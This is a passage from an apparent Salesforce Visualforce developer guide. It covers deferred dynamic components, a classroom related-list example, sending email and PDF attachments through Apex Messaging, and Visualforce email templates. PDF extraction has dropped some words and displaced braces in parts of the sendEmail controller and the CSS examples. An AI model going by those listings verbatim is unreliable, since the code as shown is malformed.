Component.Apex.InputField theAccountNumberField = new Component.Apex.InputField(); theAccountNumberField.expressions.value = '{!Account.AccountNumber}' ; theAccountNumberField.id = 'theAccountNumber' ;
Component.Apex.OutputLabel theAccountNumberLabel = new Component.Apex.OutputLabel();
185
Dynamic Visualforce Components Deferred Creation of Dynamic Components theAccountNumberLabel.value = 'Change Account #?' ; theAccountNumberLabel.
for = 'theAccountNumber' ;
// Create a button to submit the form
Component.Apex.CommandButton saveButton = new Component.Apex.CommandButton(); saveButton.value = 'Save' ; saveButton.expressions.action = '{!Save}' ;
// Assemble the form components dynPageBlock.childComponents.add(theNameLabel); dynPageBlock.childComponents.add(theNameField); dynPageBlock.childComponents.add(theAccountNumberLabel); dynPageBlock.childComponents.add(theAccountNumberField); dynPageBlock.childComponents.add(saveButton); return dynPageBlock;
}
If your markup is defined as:
<apex:form >
<apex:dynamicComponent componentValue= "{!dynamicForm}" />
</apex:form >
Then your markup is equivalent to the following static markup:
<apex:form >
<apex:pageBlock >
<apex:outputLabel for= "theName" />
<apex:inputField value= "{!Account.Name}" id= "theName" />
<apex:outputLabel for= "theAccountNumber" />
<apex:inputField value= "{!Account.AccountNumber}" id= "theAccountNumber" />
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlock >
</apex:form >
Notice that the order of elements in the equivalent static markup is the order in which the dynamic components were added to childComponents
, not the order in which they were declared in the Apex code of the getDynamicForm
method.
Deferred Creation of Dynamic Components
The Apex method that defines a dynamic component is by default executed at page load time, before any action method that’s defined for the page is run. Set the invokeAfterAction
attribute of a dynamic component to true
to wait for page actions to be completed before the method that creates the dynamic component runs. This enables you to design dynamic components that change depending on the result of, for example, a page initialization action or a callout.
Here’s a page that has a single dynamic component, which is created after the page’s action method, pageActionUpdateMessage
, is completed.
<apex:page controller= "DeferredDynamicComponentController" action= "{!pageActionUpdateMessage}" showHeader= "false" >
<apex:dynamicComponent componentValue= "{!dynamicComp}" invokeAfterAction= "true" />
186
Dynamic Visualforce Components Deferred Creation of Dynamic Components
</apex:page >
Here’s the associated controller that provides the dynamic component definition, and illustrates the effect of the invokeAfterAction attribute.
public class DeferredDynamicComponentController { private String msgText { get; set; } public DeferredDynamicComponentController() { this .msgText = 'The controller is constructed.' ;
} public Component.Apex.OutputPanel getDynamicComp() {
// This is the component to return
Component.Apex.OutputPanel dynOutPanel= new Component.Apex.OutputPanel(); dynOutPanel.layout = 'block' ;
// Child component to hold the message text
Component.Apex.OutputText msgOutput = new Component.Apex.OutputText(); msgOutput.value = this .msgText; dynOutPanel.childComponents.add(msgOutput); return dynOutPanel;
} public Object pageActionUpdateMessage() { this .msgText= 'The page action method has been run.' ; return null ;
}
}
With the default behavior for dynamic components, the msgText
value that’s set in the constructor is displayed by the dynamic component. Setting invokeAfterAction= "true"
on the dynamic component changes that behavior. The page waits for the pageActionUpdateMethod
to be completed and then creates the dynamic component, and so the component displays the value for msgText
that’s set in the pageActionUpdateMessage
action method instead.
Note: The invokeAfterAction
attribute is available for dynamic components in pages set to API version 31.0 or later.
Deferred Creation of Dynamic Components and Other Actions invokeAfterAction= "true"
affects dynamic components immediately at page load time, because that’s when page actions run. Setting invokeAfterAction= "true"
reverses the order of component creation and any action method on the page. That is, the order of execution is changed for action
methods on all of the following components.
•
<apex:actionFunction >
•
<apex:actionPoller >
•
<apex:actionSupport >
•
<apex:commandButton >
•
<apex:commandLink >
187
Dynamic Visualforce Components Example Using a Related List
•
<apex:page >
•
<apex:togglePanel >
When invokeAfterAction= "false"
is set on a dynamic component, the order of execution is as follows. This is the default behavior for dynamic components.
1. Invoke the dynamic component’s creation method, which constructs the component.
2. Invoke the action method.
3. Rerender the page.
When invokeAfterAction= "true"
is set on a dynamic component, the order of execution is as follows.
1. Invoke the action method.
2. Invoke the dynamic component’s creation method, which constructs the component.
3. Rerender the page.
Note: In the second case, if the action method returns a PageReference, Visualforce will redirect the request to the new page, and the dynamic component’s creation method won’t be run. To avoid a possible order-of-execution bug, it’s a best practice that methods that create dynamic components don’t have side effects.
Example Using a Related List
, which are best used when you don’t know the fields you want to access.
The following scenario for using dynamic Visualforce constructs a simple, reusable page with a known set of fields you want to access.
The page and its custom object are placed into an unmanaged package and distributed throughout the same organization.
First, create a custom object called Classroom. Create two objects—one named
Science 101
and another named
Math 201
, as this figure shows:
Next, create two more custom objects called Student and Teacher. After you finish creating each object:
1. Click New under Custom Fields & Relationships.
2. Select
Master-Detail Relationship
, then click Next.
3. Select Classroom from the drop-down list, then click Next.
4. Continue to click Next, leaving all the default values intact.
Create the following objects and matching relationships:
•
A new Student named
Johnny Walker
, and a new Teacher named
Mister Pibb
, both assigned to
Science 101
.
•
Another new Student named
Boont Amber
, and a new Teacher named
Doctor Pepper
, both assigned to
Math 201
.
188
Dynamic Visualforce Components Example Using a Related List
Now, create a new Apex page called
DynamicClassroomList
and paste the following code: public class DynamicClassroomList { private ApexPages.StandardSetController controller; private PageReference savePage; private Set< String > unSelectedNames; private Set< String > selectedNames; public List< String > selected { get; set; } public List< String > unselected { get; set; } public String objId { get; set; } public List< String > displayObjs { get; private set;
} boolean idIsSet = false ; public DynamicClassroomList() { init();
} public DynamicClassroomList(ApexPages.StandardSetController con) { this .controller = con; init();
} private void init() { savePage = null ; unSelectedNames = new Set< String >(); selectedNames = new Set< String >(); if (idIsSet) {
ApexPages.CurrentPage().getParameters().put( 'id' , objId); idIsSet = false ;
}
} public PageReference show() { savePage = Page.dynVFClassroom; savePage.getParameters().put( 'id' , objId); return savePage;
} public List<SelectOption> displayObjsList { get {
List<SelectOption> options = new List<SelectOption>();
List<Classroom__c> classrooms = [SELECT id, name FROM Classroom__c]; for (Classroom__c c: classrooms) { options.add( new SelectOption(c.id, c.name));
} return options;
}
189
Dynamic Visualforce Components Example Using a Related List
} public PageReference customize() { savePage = ApexPages.CurrentPage(); savePage.getParameters().put( 'id' , objId); return Page.dynamicclassroomlist;
}
// The methods below are for constructing the select list public List<SelectOption> selectedOptions { get {
List< String > sorted = new List< String >(selectedNames); sorted.sort();
List<SelectOption> options = new List<SelectOption>(); for ( String s: sorted) { options.add( new SelectOption(s, s));
} return options;
}
} public List<SelectOption> unSelectedOptions { get {
Schema.DescribeSObjectResult R = Classroom__c.SObjectType.getDescribe();
List<Schema.ChildRelationship> C = R.getChildRelationships();
List<SelectOption> options = new List<SelectOption>(); for (Schema.ChildRelationship cr: C) {
String relName = cr.getRelationshipName();
// We're only interested in custom relationships if (relName != null && relName.contains( '__r' )) { options.add( new SelectOption(relName, relName));
}
} return options;
}
} public void doSelect() { for ( String s: selected) { selectedNames.add(s); unselectedNames.remove(s);
}
} public void doUnSelect() { for ( String s: unselected) { unSelectedNames.add(s); selectedNames.remove(s);
}
}
190
Dynamic Visualforce Components Example Using a Related List public Component.Apex.OutputPanel getClassroomRelatedLists() {
Component.Apex.OutputPanel dynOutPanel= new Component.Apex.OutputPanel(); for ( String id: selectedNames) {
Component.Apex.RelatedList dynRelList = new Component.Apex.RelatedList(); dynRelList.list = id; dynOutPanel.childComponents.add(dynRelList);
} return dynOutPanel;
}
}
After trying to save, you may be prompted about a missing Visualforce page. Click the link to create the page: the next blocks of code will populate it.
Create a Visualforce page called
dynVFClassroom
and paste the following code:
<apex:page standardController= "Classroom__c" recordSetVar= "classlist" extensions= "DynamicClassroomList" >
<apex:dynamicComponent componentValue= "{!ClassroomRelatedLists}" />
<apex:form >
<apex:pageBlock title= "Classrooms Available" mode= "edit" >
<apex:pageMessages/ >
<apex:selectRadio value= "{!objId}" >
<apex:selectOptions value= "{!displayObjsList}" />
</apex:selectRadio >
</apex:pageBlock >
<apex:commandButton value= "Select Related Items" action= "{!Customize}" />
</apex:form >
</apex:page >
Finally, create a page called
DynamicClassroomList
. If you’ve been following this tutorial from the beginning, you should have already created this page when constructing your controller extension. Paste in the following code:
<apex:page standardController= "Classroom__c" recordsetvar= "listPageMarker" extensions= "DynamicClassroomList" >
<apex:messages/ > <br/ >
<apex:form >
<apex:pageBlock title= "Select Relationships to Display" id= "selectionBlock" >
<apex:panelGrid columns= "3" >
<apex:selectList id= "unselected_list" required= "false" value= "{!selected}" multiselect= "true" size= "20" style= "width:250px" >
<apex:selectOptions value= "{!unSelectedOptions}" />
</apex:selectList >
<apex:panelGroup >
<apex:commandButton value= ">>" action= "{!DoSelect}" reRender= "selectionBlock" />
<br/ >
191
Dynamic Visualforce Components Example Using a Related List
<apex:commandButton value= "<<" action= "{!DoUnselect}" reRender= "selectionBlock" />
</apex:panelGroup >
<apex:selectList id= "selected_list" required= "false" value= "{!unselected}" multiselect= "true" size= "20" style= "width:250px" >
<apex:selectOptions value= "{!selectedOptions}" />
</apex:selectList >
</apex:panelGrid >
</apex:pageBlock >
<br/ >
<apex:commandButton value= "Show Related Lists" action= "{!show}" />
</apex:form >
</apex:page >
This is the page that presents the user with the option of selecting which object relationships to display. Notice that the “selected” and
“unselected” lists are populated through dynamic means.
After assembling the controller extension and these pages, navigate to
/apex/dynVFClassroom
in your organization. You’ll see a sequence similar to the following:
192
Dynamic Visualforce Components Example Using a Related List
193
CHAPTER 14 Integrating Email with Visualforce
Visualforce can be used to send email to any of your contacts, leads, or other recipients. It is also possible to create reusable email templates that take advantage of Visualforce's ability to iterate over your Salesforce records. The following topics explain how:
•
Sending an Email with Visualforce
•
Sending an Email with Visualforce
It is possible to send email using Visualforce by creating a
to deliver the message. The Apex
Messaging.SingleEmailMessage
class handles the outbound email functionality available to Salesforce.
The following topics demonstrate a number of features available when sending email through Visualforce:
•
Creating a Custom Controller with the Messaging Class
•
Creating a Custom Controller with the Messaging Class
At minimum, a custom controller that uses the Apex
Messaging
namespace needs a subject, a body, and a recipient for the email.
You will need a page that acts as a form to fill out the subject and body and deliver the email.
Create a new page called sendEmailPage
and use the following code:
<apex:page controller= "sendEmail" >
<apex:messages />
<apex:pageBlock title= "Send an Email to Your
{!account.name} Representatives ">
<p >Fill out the fields below to test how you might send an email to a user.
</p >
<br />
<apex:dataTable value= "{!account.Contacts}" var= "contact" border= "1" >
<apex:column >
<apex:facet name= "header" >Name </apex:facet >
{!contact.Name}
</apex:column >
<apex:column >
<apex:facet name= "header" >Email </apex:facet >
{!contact.Email}
</apex:column >
</apex:dataTable >
<apex:form >
<br /> <br />
<apex:outputLabel value= "Subject" for= "Subject" />: <br />
194
Integrating Email with Visualforce Creating a Custom Controller with the Messaging Class
<apex:inputText value= "{!subject}" id= "Subject" maxlength= "80" />
<br /> <br />
<apex:outputLabel value= "Body" for= "Body" />: <br />
<apex:inputTextarea value= "{!body}" id= "Body" rows= "10" cols= "80" />
<br /> <br /> <br />
<apex:commandButton value= "Send Email" action= "{!send}" />
</apex:form >
</apex:pageBlock >
</apex:page >
Notice in the page markup that the account ID is retrieved from the URL of the page. For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if
001D000000IRt53
is the account ID, the resulting URL should be: https://
Salesforce_instance
/apex/sendEmailPage?id=001D000000IRt53
Displaying Field Values with Visualforce
on page 18 has more information about retrieving the ID of a record.
The following code creates a controller named sendEmail
that implements the
Messaging.SingleEmailMessage
class, and uses the contacts related to an account as recipients: public class sendEmail { public String subject { get; set; } public String body { get; set; } private final Account account;
// Create a constructor that populates the Account object public sendEmail() {
} account = [select Name, (SELECT Contact.Name, Contact.Email FROM Account.Contacts) from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )]; public Account getAccount() { return account;
} public PageReference send() {
// Define the email
Messaging.SingleEmailMessage email = new Messaging.SingleEmailMessage();
String addresses; if (account.Contacts[0].Email != null )
{ addresses = account.Contacts[0].Email;
// Loop through the whole list of contacts and their emails for ( Integer i = 1; i < account.Contacts.size(); i++)
{ if (account.Contacts[i].Email != null )
{ addresses += ':' + account.Contacts[i].Email;
}
}
}
195
Integrating Email with Visualforce Creating a Custom Controller with the Messaging Class
String [] toAddresses = addresses.split( ':' , 0);
// Sets the paramaters of the email email.setSubject( subject ); email.setToAddresses( toAddresses ); email.setPlainTextBody( body );
// Sends the email
Messaging.SendEmailResult [] r =
Messaging.sendEmail( new Messaging.SingleEmailMessage[] {email});
}
} return null ;
Notice in the controller that:
•
The subject and body of the email are set through a separate Visualforce page and passed into the controller.
•
The method that sends the email is called send()
. This name must match the name of the action for the Visualforce button that sends the email.
•
The recipients of the email, that is, the email addresses stored in toAddresses[]
, come from the addresses of the contacts available in an associated account. When compiling a list of recipients from contacts, leads, or other records, it is a good practice to loop through all the records to verify that an email address is defined for each. The account ID is retrieved from the URL of the page.
196
Integrating Email with Visualforce
Example of the Form on sendEmailPage
Creating an Email Attachment
SEE ALSO:
Apex Developer Guide: Outbound Email
Creating an Email Attachment
If you want to add an attachment to your email, you will need to add only a few lines of code to your custom controller. Email attachments are
Blob
file types. To create an attachment, you need to use the Apex
Messaging.EmailFileAttachment
class. You must define both the file name and the content of an
EmailFileAttachment
object.
Adding a PDF Attachment
The following example demonstrates how to transform a
PageReference
to a Visualforce page rendered as a PDF into an email attachment. First, create a page called attachmentPDF
:
<apex:page standardController= "Account" renderAs= "PDF" >
<h1 >Account Details </h1 >
197
Integrating Email with Visualforce Creating an Email Attachment
<apex:panelGrid columns= "2" >
<apex:outputLabel for= "Name" value= "Name" />
<apex:outputText id= "Name" value= "{!account.Name}" />
<apex:outputLabel for= "Owner" value= "Account Owner" />
<apex:outputText id= "Owner" value= "{!account.Owner.Name}" />
<apex:outputLabel for= "AnnualRevenue" value= "Annual Revenue" />
<apex:outputText id= "AnnualRevenue" value= "{0,number,currency}" >
<apex:param value= "{!account.AnnualRevenue}" />
</apex:outputText >
<apex:outputLabel for= "NumberOfEmployees" value= "Employees" />
<apex:outputText id= "NumberOfEmployees" value= "{!account.NumberOfEmployees}" />
</apex:panelGrid >
</apex:page >
Note:
See
Best Practices for Rendering PDF Files
on page 345 for details of which components are recommended for use in PDF attachments.
Next, create the
EmailFileAttachment
object in the send()
method of your custom controller. The following examples must be placed before calling
Messaging.sendEmail
:
// Reference the attachment page, pass in the account ID
PageReference pdf = Page.attachmentPDF; pdf.getParameters().put( 'id' ,( String )account.id); pdf.setRedirect( true );
// Take the PDF content
Blob b = pdf.getContent();
// Create the email attachment
Messaging.EmailFileAttachment efa = new Messaging.EmailFileAttachment(); efa.setFileName( 'attachment.pdf' ); efa.setBody(b);
If your
SingleEmailMessage
object is named email
, then you associate the attachment like this: email.setFileAttachments( new Messaging.EmailFileAttachment[] {efa});
Defining a Custom Component as an Attachment
By creating a custom component and using it on the Visualforce email form and to render the PDF for the email, users can see a preview of the content they are trying to send.
The following markup defines a custom component named attachment
that represents the attachment for the email:
<apex:component access= "global" >
<h1 >Account Details </h1 >
<apex:panelGrid columns= "2" >
198
Integrating Email with Visualforce Creating an Email Attachment
<apex:outputLabel for= "Name" value= "Name" />
<apex:outputText id= "Name" value= "{!account.Name}" />
<apex:outputLabel for= "Owner" value= "Account Owner" />
<apex:outputText id= "Owner" value= "{!account.Owner.Name}" />
<apex:outputLabel for= "AnnualRevenue" value= "Annual Revenue" />
<apex:outputText id= "AnnualRevenue" value= "{0,number,currency}" >
<apex:param value= "{!account.AnnualRevenue}" />
</apex:outputText >
<apex:outputLabel for= "NumberOfEmployees" value= "Employees" />
<apex:outputText id= "NumberOfEmployees" value= "{!account.NumberOfEmployees}" />
</apex:panelGrid >
</apex:component >
Replace your attachmentPDF
page like this:
<apex:page standardController= "account" renderAs= "PDF" >
<c:attachment/ >
</apex:page >
Then add the custom component to render at the bottom of your previous sendEmailPage
:
<apex:pageBlock title= "Preview the Attachment for {!account.name}" >
<c:attachment/ >
</apex:pageBlock >
If you want to make changes to both the attachment and the preview, the attachment
custom component needs to be modified in only one location.
Example: Sending an Email with an Attachment
The following example shows the
with a custom component that adds a Visualforce page as an attachment. First, the controller: public class sendEmail { public String subject { get; set; } public String body { get; set; } private final Account account;
// Create a constructor that populates the Account object public sendEmail() { account = [SELECT Name,
(SELECT Contact.Name, Contact.Email FROM Account.Contacts)
FROM Account
WHERE Id = :ApexPages.currentPage().getParameters().get( 'id' )];
} public Account getAccount() { return account;
}
199
Integrating Email with Visualforce Creating an Email Attachment public PageReference send() {
// Define the email
Messaging.SingleEmailMessage email = new Messaging.SingleEmailMessage();
// Reference the attachment page and pass in the account ID
PageReference pdf = Page.attachmentPDF; pdf.getParameters().put('id',(String)account.id); pdf.setRedirect(true);
// Take the PDF content
Blob b = pdf.getContent();
// Create the email attachment
Messaging.EmailFileAttachment efa = new Messaging.EmailFileAttachment(); efa.setFileName('attachment.pdf'); efa.setBody(b);
String addresses; if (account.Contacts[0].Email != null ) { addresses = account.Contacts[0].Email;
// Loop through the whole list of contacts and their emails for ( Integer i = 1; i < account.Contacts.size(); i++) { if (account.Contacts[i].Email != null ) { addresses += ':' + account.Contacts[i].Email;
}
}
}
String [] toAddresses = addresses.split( ':' , 0);
// Sets the paramaters of the email email.setSubject( subject ); email.setToAddresses( toAddresses ); email.setPlainTextBody( body );
email.setFileAttachments(new Messaging.EmailFileAttachment[] {efa});
// Sends the email
Messaging.SendEmailResult [] r =
Messaging.sendEmail( new Messaging.SingleEmailMessage[] {email}); return null ;
}
}
Next, the Visualforce page that sends the email:
<apex:page controller= "sendEmail" >
<apex:messages/ >
<apex:pageBlock title= "Send an Email to Your {!account.name} Representatives" >
<p >Fill out the fields below to test how you might send an email to a user.
</p >
<apex:dataTable value= "{!account.Contacts}" var= "contact" border= "1" >
<apex:column >
200
Integrating Email with Visualforce Visualforce Email Templates
<apex:facet name= "header" >Name </apex:facet >
{!contact.Name}
</apex:column >
<apex:column >
<apex:facet name= "header" >Email </apex:facet >
{!contact.Email}
</apex:column >
</apex:dataTable >
<apex:form > <br/ > <br/ >
<apex:outputLabel value= "Subject" for= "Subject" />: <br/ >
<apex:inputText value= "{!subject}" id= "Subject" maxlength= "80" />
<br/ > <br/ >
<apex:outputLabel value= "Body" for= "Body" />: <br/ >
<apex:inputTextarea value= "{!body}" id= "Body" rows= "10" cols= "80" />
<br/ > <br/ >
<apex:commandButton value= "Send Email" action= "{!send}" />
</apex:form >
</apex:pageBlock >
<apex:pageBlock title="Preview the Attachment for {!account.name}">
<c:attachment/>
</apex:pageBlock>
</apex:page >
SEE ALSO:
Apex Developer Guide: EmailFileAttachment Class
Visualforce Email Templates
Developers and administrators can use Visualforce to create email templates. The advantage of using Visualforce over standard HTML email templates is that Visualforce gives you the ability to perform advanced operations on data that is sent to a recipient.
Although Visualforce email templates use standard Visualforce components, they are not created in the same way. Visualforce email templates always use components that are prefaced with the messaging
namespace. In addition:
•
All Visualforce email templates must be contained within a single
<messaging:emailTemplate >
tag. This is analogous to regular Visualforce pages being defined within a single
<apex:page >
tag.
•
The
<messaging:emailTemplate >
tag must contain either a single
<messaging:htmlEmailBody >
tag or a single
<messaging:plainTextEmailBody >
tag.
•
Several standard Visualforce components are not available for use within
<messaging:emailTemplate >
. These include
<apex:detail >
,
<apex:pageBlock >
and all related pageBlock
components, and all input components such as
<apex:form >
. If you attempt to save a Visualforce email template with these components, an error message displays.
The following topics provide more details:
•
Creating a Visualforce Email Template
•
Using a Custom Stylesheet in a Visualforce Email Template
201
Integrating Email with Visualforce Creating a Visualforce Email Template
•
•
Using Custom Controllers within Visualforce Email Templates
Creating a Visualforce Email Template
1. Do one of the following:
•
If you have permission to edit public templates, from Setup, enter
Email Templates
in the
Quick Find
box, then select Email Templates.
•
If you don’t have permission to edit public templates, go to your personal settings. Enter
Templates
in the
Quick Find box, then select Email Templates or My Templates—whichever one appears.
2. Click New Template.
3. Choose
Visualforce
and click Next.
You can’t send a mass email using a Visualforce email template.
4. Choose a folder in which to store the template.
5. To make the template available for use, select the
Available For Use
checkbox.
6. Enter a name in
Email Template Name
.
7. If necessary, change the
Template Unique Name
. This unique name refers to the component when you use the Force.com
API. In managed packages, this unique name prevents naming conflicts in package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the
Template Unique Name
field, you can change certain components’ names in a managed package and the changes are reflected in a subscriber’s organization.
8. If desired, choose a different character set from the
Encoding
drop-down list.
9. Enter a description for the template. Both template name and description are for your internal use only.
10. Enter a subject line for your template in
Email Subject
.
11. In the
Recipient Type
drop-down list, select the type of recipient to receive email created from the template.
12. If desired, in the
Related To Type
drop-down list, select the object from which the template retrieves merge field data.
13. Click Save.
14. On the Viewing Email Templates page, click Edit Template.
15. Enter markup text for your Visualforce email template.
Note: If you are including an image, we recommend uploading it to the Documents tab to reference the copy of the image on our server. For example:
<apex:image id= "Logo" value= " https://
yourInstance
.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800 " height= "64" width= "64" />
16. To specify the version of Visualforce and the API used with this email template, click Version Settings. If you’ve installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this email template.
Generally, use the default value for all versions, to associate the email template with the most recent version of Visualforce, the API, and each managed package. To maintain specific behavior, you can specify an older version of Visualforce and the API. To access components or functionality that differ from the most recent package version, you can specify an older version of a managed package.
202
Integrating Email with Visualforce Creating a Visualforce Email Template
17. To view the details of the template, click Save. To continue editing your template, click Quick Save. Your Visualforce markup must be valid before you can save your template.
Note: The maximum size of a Visualforce email template is 1 MB.
You can’t send a mass email using a Visualforce email template. The
{!Receiving_User.field_name}
and
{!Sending_User.field_name}
merge fields work only for mass email and are unavailable in Visualforce email templates.
The following example shows how you can define a Visualforce email template that displays all the cases associated with a contact. The example uses an
<apex:repeat >
tag to iterate through all the cases related to a contact and incorporate them into the body of the template:
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Case report for Account: {!relatedTo.name}" language= "{!recipient.language__c}" replyTo= "[email protected]" >
<messaging:htmlEmailBody >
<html >
<body >
<p >Dear {!recipient.name}, </p >
<p >Below is a list of cases related to {!relatedTo.name}.
</p >
<table border= "0" >
<tr >
<th >Case Number </th > <th >Origin </th >
<th >Creator Email </th > <th >Status </th >
</tr >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
<tr >
<td > <a href =
"https://na1.salesforce.com/{!cx.id}" >{!cx.CaseNumber}
</a > </td >
<td >{!cx.Origin} </td >
<td >{!cx.Contact.email} </td >
<td >{!cx.Status} </td >
</tr >
</apex:repeat >
</table >
<p/ >
<center >
<apex:outputLink value= "http://www.salesforce.com" >
For more detailed information login to Salesforce.com
</apex:outputLink >
</center >
</body >
</html >
</messaging:htmlEmailBody >
</messaging:emailTemplate >
Notice the following about the markup:
203
Integrating Email with Visualforce Using a Custom Stylesheet in a Visualforce Email Template
•
The attributes recipientType
and relatedToType
act as controllers for the email template. With them you can access the same merge fields that are available to other standard controllers. The recipientType
attribute represents the recipient of the email. The relatedToType
attribute represents the record to associate with the email.
•
The
<messaging:htmlEmailBody >
component can include a mix of Visualforce markup and HTML. The
<messaging:plainTextEmailBody >
component can only include Visualforce markup and plain text.
•
To translate Visualforce email templates based on recipients’ or related objects’ languages, use the
<messaging:emailTemplate >
tag's language
attribute (valid values: Salesforce supported language keys, for example,
“en-US”). The language attribute accepts merge fields from the email template's recipientType
and relatedToType attributes. You create custom language fields for use in the merge fields. The Translation Workbench is required to translate email templates. The example uses a merge field to obtain a language
attribute for the contact receiving the email.
SEE ALSO:
Using a Custom Stylesheet in a Visualforce Email Template
Using a Custom Stylesheet in a Visualforce Email Template
By default, Visualforce email templates always use the standard look and feel of other Salesforce components. However, you can extend or overwrite these styles by defining your own stylesheet.
Unlike other Visualforce pages, Visualforce email templates cannot use referenced
. Although the CSS appears to render in the email template preview pane, it does not appear the same to the recipients of your email. You must define your style using CSS within
<style >
tags.
The following example changes the font of your email to Courier, adds a border to the table, and changes the color of the table rows:
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Case report for Account: {!relatedTo.name}" replyTo= "[email protected]" >
<messaging:htmlEmailBody >
<html >
<style type= "text/css" > body {font-family: Courier; size: 12pt;} table { border-width: 5px; border-spacing: 5px; border-style: dashed; border-color: #FF0000;
} background-color: #FFFFFF; td { border-width: 1px; padding: 4px; border-style: solid;
} border-color: #000000; background-color: #FFEECC; th {
204
Integrating Email with Visualforce Using a Custom Stylesheet in a Visualforce Email Template color: #000000; border-width: 1px ; padding: 4px ; border-style: solid ; border-color: #000000; background-color: #FFFFF0;
}
</style >
<body >
<p >Dear {!recipient.name}, </p >
<table border= "0" >
<tr >
<th >Case Number </th > <th >Origin </th >
<th >Creator Email </th > <th >Status </th >
</tr >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
<tr >
<td > <a href =
"https://na1.salesforce.com/{!cx.id}" >{!cx.CaseNumber}
</a > </td >
<td >{!cx.Origin} </td >
<td >{!cx.Contact.email} </td >
<td >{!cx.Status} </td >
</tr >
</apex:repeat >
</table >
</body >
</html >
</messaging:htmlEmailBody >
</messaging:emailTemplate >
205
Integrating Email with Visualforce Using a Custom Stylesheet in a Visualforce Email Template
Example of the Rendered Visualforce Email Template
Defining Visualforce Stylesheets in a Custom Component
Although you cannot reference an external stylesheet in a Visualforce email template, you can place the style definitions within a
a component named
EmailStyle
:
<apex:component access= "global" >
<style type= "text/css" > body {font-family: Courier; size: 12pt;} table { border-width: 5px; border-spacing: 5px; border-style: dashed;
} border-color: #FF0000; background-color: #FFFFFF; td { border-width: 1px; padding: 4px; border-style: solid; border-color: #000000;
} background-color: #FFEECC; th { color: #000000; border-width: 1px ;
206
Integrating Email with Visualforce Adding Attachments padding: 4px ; border-style: solid ; border-color: #000000; background-color: #FFFFF0;
}
</style >
</apex:component >
Then, in the Visualforce email template, you can reference just that component:
<messaging:htmlEmailBody >
<html >
<c:EmailStyle />
<body >
<p >Dear {!recipient.name}, </p >
...
</body >
</html >
</messaging:htmlEmailBody >
Note: Any
<apex:component >
tags used within a Visualforce email template must have an access level of global
.
Adding Attachments
You have the ability to add attachments to your Visualforce email templates. Each attachment must be encapsulated within a single
<messaging:attachment >
component. Code within
<messaging:attachment >
can be a combination of HTML and
Visualforce tags.
The previous example shows how to create a Visualforce email template by iterating through some data and displaying it to an email recipient. This example shows how to modify that markup to display the data as an attachment:
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Case report for Account: {!relatedTo.name}" replyTo= "[email protected]" >
<messaging:htmlEmailBody >
<html >
<body >
<p >Dear {!recipient.name}, </p >
<p >Attached is a list of cases related to {!relatedTo.name}.
</p >
<center >
<apex:outputLink value= "http://www.salesforce.com" >
For more detailed information login to Salesforce.com
</apex:outputLink >
</center >
</body >
</html >
</messaging:htmlEmailBody >
<messaging:attachment >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
Case Number: {!cx.CaseNumber}
Origin: {!cx.Origin}
207
Integrating Email with Visualforce Adding Attachments
Creator Email: {!cx.Contact.email}
Case Number: {!cx.Status}
</apex:repeat >
</messaging:attachment >
</messaging:emailTemplate >
This markup renders in an email as an attached data file, without any formatting. You can display the data in a more readable format by using one of the following options:
•
•
•
Changing the Filename
The
<messaging:attachment >
tag has an attribute called filename
that defines the name of the attached file. While it is good practice to define an easily identifiable name, it is not required. If you leave it undefined, Salesforce generates a name for you.
A filename without an extension defaults to a text file. You can render an attached file as a CSV:
<messaging:attachment filename= "cases.csv" >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
{!cx.CaseNumber}
{!cx.Origin}
{!cx.Contact.email}
{!cx.Status}
</apex:repeat >
</messaging:attachment >
You can also render the data as an HTML file:
<messaging:attachment filename= "cases.html" >
<html >
<body >
<table border= "0" >
<tr >
<th >Case Number </th > <th >Origin </th >
<th >Creator Email </th > <th >Status </th >
</tr >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
<tr >
<td > <a href =
"https://na1.salesforce.com/{!cx.id}" >{!cx.CaseNumber}
</a > </td >
<td >{!cx.Origin} </td >
<td >{!cx.Contact.email} </td >
<td >{!cx.Status} </td >
</tr >
</apex:repeat >
</table >
</body >
</html >
</messaging:attachment >
208
Integrating Email with Visualforce Adding Attachments
Although you can only define one filename for every
<messaging:attachment >
component, you can attach multiple files to an email.
Changing the
renderAs
Attribute
Similar to other Visualforce pages, setting the renderAs
<messaging:attachment >
component renders the attachment as a PDF. For example:
<messaging:attachment renderAs= "PDF" filename= "cases.pdf" >
<html >
<body >
<p >You can display your {!relatedTo.name} cases as a PDF: </p >
<table border= "0" >
<tr >
<th >Case Number </th > <th >Origin </th >
<th >Creator Email </th > <th >Status </th >
</tr >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
<tr >
<td > <a href =
"https://na1.salesforce.com/{!cx.id}" >{!cx.CaseNumber}
</a > </td >
<td >{!cx.Origin} </td >
<td >{!cx.Contact.email} </td >
<td >{!cx.Status} </td >
</tr >
</apex:repeat >
</table >
</body >
</html >
</messaging:attachment >
Limitations of the Visualforce PDF rendering service include the following.
•
PDF is the only supported rendering service.
•
The PDF rendering service renders PDF version 1.4.
•
Rendering a Visualforce page as a PDF file is intended for pages designed and optimized for print.
•
A Visualforce page rendered as a PDF file displays either in the browser or is downloaded, depending on the browser’s settings.
Specific behavior depends on the browser, version, and user settings, and is outside the control of Visualforce.
•
The PDF rendering service renders the markup and data on your page, but it might not render formatting contained within the contents of rich text area fields added to the page.
•
Long lines of text that don’t have break points, such as a space or dash, can’t be wrapped by the PDF rendering service. This most commonly happens with very long URLs, registry entries, and so on. When these lines are wider than the page, they increase the width of the page’s content beyond the edge of the PDF page. This causes content to “flow” off the side of the page, cutting it off.
•
Don’t use standard components that aren’t easily formatted for print, or form elements such as inputs or buttons, or any component that requires JavaScript to be formatted.
•
PDF rendering doesn’t support JavaScript-rendered content.
•
PDF rendering isn’t supported for pages in Salesforce1.
•
